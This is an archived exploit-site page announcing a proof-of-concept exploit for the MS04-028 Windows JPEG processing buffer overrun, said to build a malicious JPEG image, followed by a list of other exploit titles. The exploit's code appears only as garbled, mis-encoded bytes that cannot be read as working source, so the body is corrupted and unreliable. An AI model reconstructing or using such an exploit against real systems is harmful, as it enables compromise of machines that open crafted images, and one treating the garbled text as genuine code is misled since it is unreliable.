exploits , vulnerabilities , articles , Microsoft Windows JPEG Processing Buffer Overrun PoC Exploit (MS04-028)

2004-09-22

Microsoft Windows JPEG Processing Buffer Overrun PoC Exploit (MS04-028)

Proof of concept exploit that creates a jpeg image to test for the buffer
overrun vulnerability


$66÷fW&VBVæFW"Ö–7&÷6ögBv–æF÷w2â6†VÆÆ6öFRæBfÆ–BFG&W76W2†fR&VVâ&VÖ÷fVBàÐ Ð Ð¢ò¢4âÓ#BÓ#¢ðÐ Ð¢2ö&–â÷6€Ð¢0Ð¢2F†R¥TrgVÆâ—2G&–vvW&VB'’F†R÷"ÆVæwF‚f–VÆBv—F‚â–çFVvW"fÆpÐ¢2F†R7&gFVB¥Tr†VFW"Ö¶W2v–æF÷w27&6‚6÷WÆRöbF–ffW&VçBv—0Ð¢2’f—'7BÂ—B7&6†W2v†VâF†R–ÖvR—2÷VæVBàÐ¢2"’6V6öæBÂ—B7&6†W2v†Vâ†÷fW&–ærF†RÖ÷W6R÷fW"F†R–ÖvRàÐ¢0Ð¢2F†Rö–çFW"÷fW'w&—FR—2&WGG’7G&–v‡Bf÷'v&B–âFV'VvvW
Ð¢0Ð¢2W6vS¢Ð¢26‚×3BÓ#‚ç6‚fwC²6Æ–6¶ÖRæ§pÐ¢0Ð¢2æ÷FS¢F†—2—6åÂwBâö†6°Ð¢2ÒÇVr–â6†VÆÆ6öFRæBvWBF†RFG&W70Ð¢2Ò–÷RæöâÖ¶–FF–W2÷WBF†W&R&R6Ö'BVæ÷Vv‚Fòf–ÆÂ–âF†R&Ææ·0Ð¢2ÒVçF–Â–÷RFòF†R&÷fRÂ—EÂw2§W7B7GW–Bô27&6€Ð¢0Ð¢2—EÂw2VvÇ’Â'WB—Bv÷&·2¢Ð¢0Ð¢2×W'ÆW‡’ÐÐ Ð¢4¥Tr†VFW"Âvâ7GVf`Ð§&–çFbÂgV÷CµÅÇ„deÅÇ„C…ÅÇ„deÅÇ„SÅÇƒÅÇƒÅÇƒDÅÇƒCeÅÇƒC•ÅÇƒCeÂgV÷C°Ð§&–çFbÂgV÷CµÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒcÅÇƒÅÇƒcÅÇƒÅÇƒÂgV÷C°Ð Ð¢5G&–vvW"7G&–ærÒÆVæwF‚f–VÆBƒv÷&·2FöòÐ§&–çFbÂgV÷CµÅÇ„deÅÇ„dUÅÇƒÅÇƒÂgV÷C°Ð Ð§&–çFbÂgV÷CµÅÇƒCUÅÇƒs…ÅÇƒc•ÅÇƒceÅÇƒÅÇƒÅÇƒC•ÅÇƒC•ÅÇƒ$ÅÇƒÅÇƒ…ÅÇƒÂgV÷C°Ð Ð¢2’÷Væ–ærF—&V7FÇ’–â”PÐ¢4FG&W72Fò÷fW'w&—FRÒ'FÄVçFW$7&—F–6Å6VÆV7F–öâ‚’Ò@Ð¢46†V6²vRs"öb42†æF&öö²f÷"F†÷6Röb–÷RÆ––ærÆöærB†öÖPÐ§&–çFbÂgV÷CµÅÇƒ5ÅÇ„cÅÇ„dEÅÇƒteÂgV÷C°Ð Ð¢2’÷Væ–ærF—&V7FÇ’–â”PÐ¢4FG&W72öb6†VÆÆ6öFPÐ§&–çFbÂgV÷CµÅÇƒCÅÇƒCÅÇƒCÅÇƒCÂgV÷C°Ð Ð¢4÷F†W"7GVf`Ð§&–çFbÂgV÷CµÅÇƒ“eÅÇƒ%ÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÂgV÷C°Ð Ð¢2"’Ö÷W6T÷fW"–â”PÐ¢4FG&W72Fò÷fW'w&—FRÒ'FÄVçFW$7&—F–6Å6VÆV7F–öâ‚’Ò@Ð¢46†V6²vRs"öb42†æF&öö²f÷"F†÷6Röb–÷RÆ––ærÆöærB†öÖPÐ§&–çFbÂgV÷CµÅÇƒ5ÅÇ„cÅÇ„dEÅÇƒteÂgV÷C³°Ð Ð¢2"’Ö÷W6T÷fW"–â”PÐ¢4FG&W72öb6†VÆÆ6öFPÐ§&–çFbÂgV÷CµÅÇƒCÅÇƒCÅÇƒCÅÇƒCÂgV÷C°Ð Ð¢46öÖÖVçG2†W&PÐ§W&ÂÖRÂw&–çBÂgV÷C´ÂgV÷C·ƒÂs°Ð Ð¢4–ÖvR§Væ²†W&PÐ§&–çFbÂgV÷CµÅÇƒÅÇƒÅÇƒÅÇ„deÅÇ„D%ÅÇƒÅÇƒC5ÅÇƒÅÇƒ…ÅÇƒeÅÇƒeÅÇƒuÅÇƒeÅÇƒUÅÇƒ…ÅÇƒuÅÇƒuÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒuÅÇƒ•ÅÇƒ•ÅÇƒ…ÅÇƒÅÇƒ5ÅÇƒEÅÇƒEÅÇƒ5ÅÇƒ%ÅÇƒ%ÅÇƒ5ÅÇƒ•ÅÇƒ%ÅÇƒ5ÅÇƒeÅÇƒEÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒEÅÇƒÅÇƒeÅÇƒUÅÇƒEÅÇƒÅÇƒ5ÅÇƒ5ÅÇƒ#ÅÇƒ#EÅÇƒ$UÅÇƒ#uÅÇƒ#ÅÇƒ#%ÅÇƒ$5ÅÇƒ#5ÅÇƒ5ÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒ5ÅÇƒ#…ÅÇƒ3uÅÇƒ#•ÅÇƒ$5ÅÇƒ3ÅÇƒ3ÅÇƒ3EÅÇƒ3EÅÇƒ3EÅÇƒeÅÇƒ#uÅÇƒ3•ÅÇƒ4EÅÇƒ3…ÅÇƒ3%ÅÇƒ45ÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒ$UÅÇƒ35ÅÇƒ3EÅÇƒ3%ÅÇ„deÅÇ„D%ÅÇƒÅÇƒC5ÅÇƒÅÇƒ•ÅÇƒ•ÅÇƒ•ÅÇƒ5ÅÇƒ%ÅÇƒ5ÅÇƒ…ÅÇƒEÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒEÅÇƒ…ÅÇƒ3%ÅÇƒ#ÅÇƒ5ÅÇƒ#ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇƒ3%ÅÇ„deÅÇ„3ÅÇƒÅÇƒÅÇƒ…ÅÇƒÅÇƒ5ÅÇƒÅÇƒ5ÅÇƒ5ÅÇƒÅÇƒ#%ÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒÅÇƒ%ÅÇƒÅÇƒÅÇƒ5ÅÇƒÅÇƒÅÇ„deÅÇ„3EÅÇƒÅÇƒeÅÇƒÅÇƒÅÇƒÅÇƒUÅÇƒÅÇƒÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒ%ÅÇƒ5ÅÇƒEÅÇƒUÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒeÅÇƒuÅÇƒ…ÅÇƒ•ÅÇƒÅÇƒ%ÅÇ„deÅÇ„3EÅÇƒÅÇ„#UÅÇƒÅÇƒÅÇƒ%ÅÇƒÅÇƒ5ÅÇƒ5ÅÇƒ%ÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒEÅÇƒ5ÅÇƒUÅÇƒUÅÇƒEÅÇƒEÅÇƒÅÇƒÅÇƒÅÇƒtEÅÇƒÅÇƒ%ÅÇƒ5ÅÇƒÅÇƒEÅÇƒÅÇƒUÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒ%ÅÇƒ#ÅÇƒ3ÅÇƒCÅÇƒeÅÇƒ5ÅÇƒSÅÇƒcÅÇƒuÅÇƒ#%ÅÇƒsÅÇƒEÅÇƒ3%ÅÇƒƒÅÇƒ“ÅÇ„ÅÇƒ…ÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒ#5ÅÇƒC%ÅÇ„#ÅÇ„3ÅÇƒUÅÇƒS%ÅÇ„CÅÇ„cÅÇƒ#EÅÇƒ35ÅÇƒc%ÅÇƒs%ÅÇƒƒ%ÅÇƒ•ÅÇƒÅÇƒeÅÇƒuÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒ…ÅÇƒ•ÅÇƒÅÇƒ#UÅÇƒ#eÅÇƒ#uÅÇƒ#…ÅÇƒ#•ÅÇƒ$ÅÇƒ3EÅÇƒ3UÅÇƒ3eÅÇƒ3uÅÇƒ3…ÅÇƒ3•ÅÇƒ4ÅÇƒC5ÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒCEÅÇƒCUÅÇƒCeÅÇƒCuÅÇƒC…ÅÇƒC•ÅÇƒDÅÇƒS5ÅÇƒSEÅÇƒSUÅÇƒSeÅÇƒSuÅÇƒS…ÅÇƒS•ÅÇƒTÅÇƒc5ÅÇƒcEÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒcUÅÇƒceÅÇƒcuÅÇƒc…ÅÇƒc•ÅÇƒdÅÇƒs5ÅÇƒsEÅÇƒsUÅÇƒseÅÇƒsuÅÇƒs…ÅÇƒs•ÅÇƒtÅÇƒƒ5ÅÇƒƒEÅÇƒƒUÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒƒeÅÇƒƒuÅÇƒƒ…ÅÇƒƒ•ÅÇƒ„ÅÇƒ“%ÅÇƒ“5ÅÇƒ“EÅÇƒ“UÅÇƒ“eÅÇƒ“uÅÇƒ“…ÅÇƒ“•ÅÇƒ”ÅÇ„%ÅÇ„5ÅÇ„EÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇ„UÅÇ„eÅÇ„uÅÇ„…ÅÇ„•ÅÇ„ÅÇ„#%ÅÇ„#5ÅÇ„#EÅÇ„#UÅÇ„#eÅÇ„#uÅÇ„#…ÅÇ„#•ÅÇ„$ÅÇ„3%ÅÇ„35ÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇ„3EÅÇ„3UÅÇ„3eÅÇ„3uÅÇ„3…ÅÇ„3•ÅÇ„4ÅÇ„C%ÅÇ„C5ÅÇ„CEÅÇ„CUÅÇ„CeÅÇ„CuÅÇ„C…ÅÇ„C•ÅÇ„DÅÇ„SÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇ„S%ÅÇ„S5ÅÇ„SEÅÇ„SUÅÇ„SeÅÇ„SuÅÇ„S…ÅÇ„S•ÅÇ„TÅÇ„cÅÇ„c%ÅÇ„c5ÅÇ„cEÅÇ„cUÅÇ„ceÅÇ„cuÅÇ„c…ÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇ„c•ÅÇ„dÅÇ„deÅÇ„3EÅÇƒÅÇƒeÅÇƒÅÇƒÅÇƒ5ÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒÅÇƒ%ÅÇƒ5ÅÇƒEÅÇƒUÅÇƒeÅÇƒuÅÇƒ…ÅÇƒ•ÅÇƒÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒ%ÅÇ„deÅÇ„3EÅÇƒÅÇ„#UÅÇƒÅÇƒÅÇƒ%ÅÇƒÅÇƒ%ÅÇƒEÅÇƒEÅÇƒ5ÅÇƒEÅÇƒuÅÇƒUÅÇƒEÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒEÅÇƒÅÇƒÅÇƒ%ÅÇƒsuÅÇƒÅÇƒÅÇƒ%ÅÇƒ5ÅÇƒÅÇƒEÅÇƒUÅÇƒ#ÅÇƒ3ÅÇƒeÅÇƒ%ÅÇƒCÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒSÅÇƒuÅÇƒcÅÇƒsÅÇƒ5ÅÇƒ#%ÅÇƒ3%ÅÇƒƒÅÇƒ…ÅÇƒEÅÇƒC%ÅÇƒ“ÅÇ„ÅÇ„#ÅÇ„3ÅÇƒ•ÅÇƒ#5ÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒ35ÅÇƒS%ÅÇ„cÅÇƒUÅÇƒc%ÅÇƒs%ÅÇ„CÅÇƒÅÇƒeÅÇƒ#EÅÇƒ3EÅÇ„SÅÇƒ#UÅÇ„cÅÇƒuÅÇƒ…ÅÇƒ•ÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒÅÇƒ#eÅÇƒ#uÅÇƒ#…ÅÇƒ#•ÅÇƒ$ÅÇƒ3UÅÇƒ3eÅÇƒ3uÅÇƒ3…ÅÇƒ3•ÅÇƒ4ÅÇƒC5ÅÇƒCEÅÇƒCUÅÇƒCeÅÇƒCuÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒC…ÅÇƒC•ÅÇƒDÅÇƒS5ÅÇƒSEÅÇƒSUÅÇƒSeÅÇƒSuÅÇƒS…ÅÇƒS•ÅÇƒTÅÇƒc5ÅÇƒcEÅÇƒcUÅÇƒceÅÇƒcuÅÇƒc…ÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒc•ÅÇƒdÅÇƒs5ÅÇƒsEÅÇƒsUÅÇƒseÅÇƒsuÅÇƒs…ÅÇƒs•ÅÇƒtÅÇƒƒ%ÅÇƒƒ5ÅÇƒƒEÅÇƒƒUÅÇƒƒeÅÇƒƒuÅÇƒƒ…ÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒƒ•ÅÇƒ„ÅÇƒ“%ÅÇƒ“5ÅÇƒ“EÅÇƒ“UÅÇƒ“eÅÇƒ“uÅÇƒ“…ÅÇƒ“•ÅÇƒ”ÅÇ„%ÅÇ„5ÅÇ„EÅÇ„UÅÇ„eÅÇ„uÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇ„…ÅÇ„•ÅÇ„ÅÇ„#%ÅÇ„#5ÅÇ„#EÅÇ„#UÅÇ„#eÅÇ„#uÅÇ„#…ÅÇ„#•ÅÇ„$ÅÇ„3%ÅÇ„35ÅÇ„3EÅÇ„3UÅÇ„3eÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇ„3uÅÇ„3…ÅÇ„3•ÅÇ„4ÅÇ„C%ÅÇ„C5ÅÇ„CEÅÇ„CUÅÇ„CeÅÇ„CuÅÇ„C…ÅÇ„C•ÅÇ„DÅÇ„S%ÅÇ„S5ÅÇ„SEÅÇ„SUÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇ„SeÅÇ„SuÅÇ„S…ÅÇ„S•ÅÇ„TÅÇ„c%ÅÇ„c5ÅÇ„cEÅÇ„cUÅÇ„ceÅÇ„cuÅÇ„c…ÅÇ„c•ÅÇ„dÅÇ„deÅÇ„DÅÇƒÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇƒ5ÅÇƒ5ÅÇƒÅÇƒÅÇƒ%ÅÇƒÅÇƒ5ÅÇƒÅÇƒÅÇƒ4eÅÇƒÅÇ„c•ÅÇ„dUÅÇƒ„ÅÇƒ#…ÅÇ„ÅÇƒeÂgV÷C³°Ð§&–çFbÂgV÷CµÅÇ„deÅÇ„C•ÂgV÷C³°
securitydot.net - 2004-09-22

Exploits - newest 10 RSS | More

2007-06-15 32064 Hits XOOPS Module Cjay Content 3 Remote File Inclusion Vulnerability
2007-06-15 15839 Hits XOOPS Module XT-Conteudo (spaw_root) RFI Vulnerability
2007-06-15 18730 Hits XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
2007-06-15 16668 Hits Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)
2007-06-13 10089 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (xp sp2)
2007-06-13 8508 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (win2k sp4)
2007-06-13 10444 Hits Safari 3 for Windows Beta Remote Command Execution PoC
2007-06-13 8558 Hits Ace-FTP Client 1.24a Remote Buffer Overflow PoC
2007-06-09 18773 Hits MoviePlay 4.76 .lst File Local Buffer Overflow Exploit
2007-06-09 9022 Hits e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit